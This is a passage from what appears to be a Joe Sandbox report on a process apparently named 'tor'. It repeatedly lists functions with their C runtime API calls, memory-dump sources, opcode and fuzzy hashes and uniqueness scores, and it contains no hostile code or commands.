Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$Startup
String ID:
API String ID: 3981666929-0
Opcode ID: fba29dc7fb06b7a08d060372d12ff75d0c5c6a86c20b1c346866f2d3e9536ad8
Instruction ID: 9d11e71f1583c2734d160ec2e6d2d97405cfbdb88b8a552b8769db38d096e767
Opcode Fuzzy Hash: fba29dc7fb06b7a08d060372d12ff75d0c5c6a86c20b1c346866f2d3e9536ad8
Instruction Fuzzy Hash: B70181B0905205DFD760DF28C81438EBBF4BF45318F408A6DD9A89B280D378D954CF82

Uniqueness

Uniqueness Score: -1.00%

Function 015644C7 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 01564401: abort.MSVCRT ref: 01564454
Part of subcall function 01564401: malloc.MSVCRT ref: 0156446C
Part of subcall function 01564401: exit.MSVCRT ref: 015644AD
Part of subcall function 01564401: __stack_chk_fail.LIBSSP-0 ref: 015644C0

memset.MSVCRT ref: 01564500
__stack_chk_fail.LIBSSP-0 ref: 01564513

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortexitmallocmemset
String ID:
API String ID: 1546916363-0
Opcode ID: d4b39d54e185471a95123510d5f92b932f5df96064acf0d137e43af397bb1fe0
Instruction ID: 80366007e6f2d778f49f7b0915cf94798ba728bea11da727e446cf74caba1cda
Opcode Fuzzy Hash: d4b39d54e185471a95123510d5f92b932f5df96064acf0d137e43af397bb1fe0
Instruction Fuzzy Hash: C9F074B4E1431A9FCB50EFA8C88566EBBF5BB49214F418869D8A4E7300E374E5118F92

Uniqueness

Uniqueness Score: -1.00%

Function 01564ACE Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 01564AF2
__stack_chk_fail.LIBSSP-0 ref: 01564B0C

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failfree
String ID:
API String ID: 3014125611-0
Opcode ID: 523cdf47f9e4fda330a10aa15cfaa813661457fc84f90443662fd6ab0d0b081a
Instruction ID: 641f64c600c075cea8af282cceb0a975aa5b362e245edc810435536d17a8cef2
Opcode Fuzzy Hash: 523cdf47f9e4fda330a10aa15cfaa813661457fc84f90443662fd6ab0d0b081a
Instruction Fuzzy Hash: DDF0C9B4E106199FCB50EFA8C881AAEBBF8BB09210F404869D860E7310D774E510CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 01655E80 Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34abd5719151b3c25c155944e205c11315eb67d933acaa610539f401a410f21
Instruction ID: f971a2ec6ca4a83afa0b55de167acb7f9a1034cbff6e426bb9572e05dcd0b8e7
Opcode Fuzzy Hash: b34abd5719151b3c25c155944e205c11315eb67d933acaa610539f401a410f21
Instruction Fuzzy Hash: E9518D32E002168BCBA1CF6DCD8465ABBF2BF84210F44C529ED5A9B309E734E841CF95

Uniqueness

Uniqueness Score: -1.00%

Function 01551EF1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0155202E

Part of subcall function 01551CDA: __stack_chk_fail.LIBSSP-0 ref: 01551D63

Part of subcall function 0155CF61: __stack_chk_fail.LIBSSP-0 ref: 0155CFC1

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID:
API String ID: 4216919130-0
Opcode ID: 073806dd3cf1641233fee28d63e47fb576f3f985e2f81232d8074461b8c47d30
Instruction ID: 055eadf52864736925544049f92a44881e659784b93e8406e01979de2ef6e2b0
Opcode Fuzzy Hash: 073806dd3cf1641233fee28d63e47fb576f3f985e2f81232d8074461b8c47d30
Instruction Fuzzy Hash: ED418CB4A0520A9FDB51DFA9D590A9EBBF5BF58350F00841AEC98EB310E374E801CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0140155B Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 01401613

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID:
API String ID: 4216919130-0
Opcode ID: 4c33889c54b630e84d51c18b0c7ecafa15b48e9b9b94627ba9f5c004952a5da6
Instruction ID: 1ff2dbb9bc0d014df3c508494a09c836f0150b57388f8b7bb15c0e37b18dcb37
Opcode Fuzzy Hash: 4c33889c54b630e84d51c18b0c7ecafa15b48e9b9b94627ba9f5c004952a5da6
Instruction Fuzzy Hash: CA210870A043098FDB51DFAAC984AAEBBF4BF49304F04446AE898EB351E335D910CF61

Uniqueness

Uniqueness Score: -1.00%

Function 013B32C4 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B3337

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID:
API String ID: 4216919130-0
Opcode ID: 567944634842a0724166421dbd4c169103e5f40938c1da63fef941daab8190ab
Instruction ID: 9c3b9e36c7a16e61f0ca222fca85f6721d0261932e00c9f3b132d8b25c9ee68d
Opcode Fuzzy Hash: 567944634842a0724166421dbd4c169103e5f40938c1da63fef941daab8190ab
Instruction Fuzzy Hash: 3301A574B0161ACFCB60DFADC5C4AAEBBF5BB09248F458854D954EB715E730E9008B51

Uniqueness

Uniqueness Score: -1.00%

Function 0140C3D3 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 013FDDDB: __stack_chk_fail.LIBSSP-0 ref: 013FE04A

Part of subcall function 0141B372: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,013FE4F8), ref: 0141B392

Part of subcall function 013D9486: __stack_chk_fail.LIBSSP-0 ref: 013D94B2

__stack_chk_fail.LIBSSP-0 ref: 0140C450

Part of subcall function 0140155B: __stack_chk_fail.LIBSSP-0 ref: 01401613

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID:
API String ID: 4216919130-0
Opcode ID: b821d8a26821fc4bb9b6f036a60a32554569a5ac68847c019d88723ef13000c6
Instruction ID: bc034c51b7fc4940e7fad54f9678a1ffd8a66b555e4eff45b5b8c880873cb3a7
Opcode Fuzzy Hash: b821d8a26821fc4bb9b6f036a60a32554569a5ac68847c019d88723ef13000c6
Instruction Fuzzy Hash: 880192B4E04309DFCB40EFB9C4846AEBBF4BF59244F41886AE894E7350E238E9118F51

Uniqueness

Uniqueness Score: -1.00%

Function 01552A11 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 01552A86

Part of subcall function 01552035: abort.MSVCRT ref: 01552164

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort
String ID:
API String ID: 3276312271-0
Opcode ID: 2c11ebb1c1753a1ba65e352254c5677eec7ddfb10ddf58dc12452a755ba4b20a
Instruction ID: fea0f84eb13e3f2f11abb99df6f6b692ef4f574d488f432a3f25d4e3301e6537
Opcode Fuzzy Hash: 2c11ebb1c1753a1ba65e352254c5677eec7ddfb10ddf58dc12452a755ba4b20a
Instruction Fuzzy Hash: 1B1103B4D05209DFCB90DFA8C590A9EBBF5BB58250F44886AE854E7300E374A9518FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0155CF61 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 0155CE4F: abort.MSVCRT ref: 0155CEA8
Part of subcall function 0155CE4F: memset.MSVCRT ref: 0155CF40
Part of subcall function 0155CE4F: __stack_chk_fail.LIBSSP-0 ref: 0155CF5A

__stack_chk_fail.LIBSSP-0 ref: 0155CFC1

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortmemset
String ID:
API String ID: 4248982965-0
Opcode ID: d42e3053ec0ef4f28bc33b32df84c91c83c996bac3a777e56ead3f924d7eff08
Instruction ID: 84e7d031fde83232fdf6d31be945a4ba77121ab8cf976a2bd7018cdd84e6cb23
Opcode Fuzzy Hash: d42e3053ec0ef4f28bc33b32df84c91c83c996bac3a777e56ead3f924d7eff08
Instruction Fuzzy Hash: 570160B9A142099FCB50DFA8C48499EFBF4FB09210B05855AED69EB311D234E911DF91

Uniqueness

Uniqueness Score: -1.00%

Function 015523EC Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0155245C

Part of subcall function 01552035: abort.MSVCRT ref: 01552164

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort
String ID:
API String ID: 3276312271-0
Opcode ID: c9aba13274370de7d2f962e69f88149b9bdcd9f8c2eaaa6caa4e9e8bbd48b145
Instruction ID: d93366682199c863d99dfe34c1088618fd7f0891c5f4d5a5f7a1442b7172bc23
Opcode Fuzzy Hash: c9aba13274370de7d2f962e69f88149b9bdcd9f8c2eaaa6caa4e9e8bbd48b145
Instruction Fuzzy Hash: 510123B4E15319DFCB90DFA8C554A9EBBF4BB48254F40886AE858E7300E374E9158FA1

Uniqueness

Uniqueness Score: -1.00%

Function 013B157B Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B15A7

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID:
API String ID: 4216919130-0
Opcode ID: ef018bc8ec3bf7dbbdba81d5f77971281521c97f7b2b7e206d0258a4b35feea2
Instruction ID: 9835b3286123849fecc6d909c3a77f035ce85f153d79fd91715f658fa06df8a8
Opcode Fuzzy Hash: ef018bc8ec3bf7dbbdba81d5f77971281521c97f7b2b7e206d0258a4b35feea2
Instruction Fuzzy Hash: C7D01230108200CBD310CB18E0E476A7FE4AB8C3ACF180E2EE18656950D274D1C1CA47

Uniqueness

Uniqueness Score: -1.00%

Function 013B172A Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

Part of subcall function 013B1676: free.MSVCRT ref: 013B1698
Part of subcall function 013B1676: __stack_chk_fail.LIBSSP-0 ref: 013B16AB

__stack_chk_fail.LIBSSP-0 ref: 013B1746

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$free
String ID:
API String ID: 2817809126-0
Opcode ID: bcdd1161cc1049a395a0dde2ffe0b4f93ea80893a02f7ab0cc1881ffaa5a503b
Instruction ID: 75347cb46e7f48694b08e8e38cfdbaa87a35cb68d9c636b41e1d78256984331b
